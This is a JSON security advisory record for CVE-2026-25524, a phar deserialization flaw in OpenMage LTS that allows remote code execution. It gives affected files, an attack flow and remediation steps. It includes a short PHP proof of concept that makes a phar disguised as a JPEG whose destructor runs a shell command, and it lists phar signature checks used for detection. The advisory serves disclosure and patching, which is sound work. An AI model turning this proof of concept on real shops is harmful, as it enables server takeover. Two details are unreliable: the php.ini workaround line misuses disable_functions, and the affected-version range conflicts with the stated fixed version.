{"id":"CVE-2026-25524","aliases":["GHSA-fg79-cr9c-7369"],"url":"https://o3.security/vulnerability/CVE-2026-25524","summary":"OpenMage LTS's Phar Deserialization leads to Remote Code Execution","details":"PHP functions such as `getimagesize()`, `file_exists()`, and `is_readable()` can trigger deserialization when processing `phar://` stream wrapper paths. OpenMage LTS uses these functions with potentially controllable file paths during image validation and media handling. An attacker who can upload a malicious phar file (disguised as an image) and trigger one of these functions with a `phar://` path can achieve arbitrary code execution.\n\n| Metric                   | Value     | Justification                                    |\n| ------------------------ | --------- | ------------------------------------------------ |\n| Attack Vector (AV)       | Network   | Exploitable via file upload and web requests     |\n| Attack Complexity (AC)   | High      | Requires file upload + triggering phar:// access |\n| Privileges Required (PR) | None      | Some upload vectors don't require authentication |\n| User Interaction (UI)    | None      | Exploitation is automatic once triggered         |\n| Scope (S)                | Unchanged | Impacts the vulnerable component                 |\n| Confidentiality (C)      | High      | Full system access via RCE                       |\n| Integrity (I)            | High      | Arbitrary code execution                         |\n| Availability (A)         | High      | Complete system compromise possible              |\n\n## Affected Products\n\n- OpenMage LTS versions < 20.16.1\n- All versions derived from Magento 1.x with these code paths\n\n## Affected Files\n\n| File                                                      | Line | Vulnerable Function                            |\n| --------------------------------------------------------- | ---- | ---------------------------------------------- |\n| `app/code/core/Mage/Core/Model/File/Validator/Image.php`  | 72   | `getimagesize($filePath)`                      |\n| `app/code/core/Mage/Cms/Model/Wysiwyg/Images/Storage.php` | 137  | `getimagesize($item->getFilename())`           |\n| `lib/Varien/Image.php`                                    | 71   | `$this->_getAdapter()->open($this->_fileName)` |\n\n## Vulnerability Details\n\nPHP's phar (PHP Archive) format stores metadata that is serialized. When PHP's stream wrapper functions access a file using the `phar://` protocol, the metadata is automatically deserialized. This occurs even with seemingly safe functions like `file_exists()` or `getimagesize()`.\n\nA polyglot file can be crafted that is both a valid image (passing initial validation) and a valid phar archive containing malicious serialized objects. When the application later processes this file using `phar://`, the deserialization triggers a gadget chain leading to RCE.\n\n### Attack Flow\n\n1. **Create polyglot file**: Attacker creates a file that is both valid JPEG and valid PHAR\n2. **Upload file**: Attacker uploads the polyglot via product images, CMS media, or import\n3. **Trigger phar:// access**: Attacker causes the application to access the file using `phar://` wrapper\n4. **Code execution**: PHAR metadata deserialization triggers gadget chain\n\n### Proof of Concept\n\n```php\n<?php\n// Create malicious phar file\nclass ExploitGadget {\n    public $cmd = 'id > /tmp/pwned';\n    function __destruct() {\n        system($this->cmd);\n    }\n}\n\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n$phar->addFromString('test.txt', 'test');\n$phar->setStub('<?php __HALT_COMPILER(); ?>');\n$phar->setMetadata(new ExploitGadget());\n$phar->stopBuffering();\n\n// Rename to appear as image\nrename('exploit.phar', 'exploit.jpg');\n\n// When getimagesize('phar://path/to/exploit.jpg') is called,\n// the ExploitGadget::__destruct() method executes\n```\n\n## Remediation\n\nBlock `phar://` paths before passing to vulnerable functions:\n\n```php\n// Before (vulnerable)\n[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);\n\n// After (fixed)\nif (str_starts_with($filePath, 'phar://')) {\n    throw new Exception('Invalid image path.');\n}\n[$imageWidth, $imageHeight, $fileType] = getimagesize($filePath);\n```\n\nAdditionally, ICO files (which cannot be re-encoded by GD) are now scanned for phar signatures:\n\n- `__HALT_COMPILER();` - Required phar stub\n- `<?php` - PHP opening tag\n- `<?=` - PHP short echo tag\n\nAdditional hardening measures:\n\n1. **ICO uploads removed**: ICO file support is completely removed from new image uploads. This eliminates the polyglot attack vector entirely since all other image formats are re-encoded by GD, which strips any embedded phar metadata.\n\n2. **Phar wrapper disabled**: The `phar://` stream wrapper is unregistered at application bootstrap, preventing any phar deserialization attacks regardless of code path.\n\n3. **Cache deserialization hardening**: All `unserialize()` calls on cached data now use `allowed_classes => false` as defense-in-depth.\n\n**Note:** Existing uploaded ICO files will continue to work. Only new ICO uploads will be rejected. Users are encouraged to use PNG favicons for new uploads.\n\n## Workarounds\n\nIf immediate upgrade is not possible:\n\n1. **Disable phar stream wrapper** (if not needed):\n\n   ```ini\n   ; php.ini\n   disable_functions = phar://\n   ```\n\n   Or in code:\n\n   ```php\n   stream_wrapper_unregister('phar');\n   ```\n\n2. **Strict upload validation**: Implement additional validation beyond file extension\n\n3. **File storage isolation**: Store uploads outside web root with randomized names\n\n4. **Web Application Firewall**: Block requests containing `phar://` in parameters\n\n\n## Credit\n\nThis vulnerability was discovered and responsibly disclosed by [blackhat2013](https://hackerone.com/blackhat2013) through HackerOne.\n\n## Timeline\n\n- **2025-12-31**: Vulnerability reported via HackerOne\n- **2026-01-21**: Fix developed and tested\n\nSource: https://hackerone.com/reports/3482926","published":"2026-04-20T16:11:16.922Z","modified":"2026-08-12T03:51:34.634123561Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00539,"percentile":0.43678,"asOf":"2026-09-11"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"openmage/magento-lts","fixedVersion":"20.17.0"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/OpenMage/magento-lts/releases/tag/v20.17.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25524.json"},{"type":"ADVISORY","url":"https://github.com/OpenMage/magento-lts/security/advisories/GHSA-fg79-cr9c-7369"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25524"},{"type":"PACKAGE","url":"https://github.com/OpenMage/magento-lts"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:34.634123561Z"}}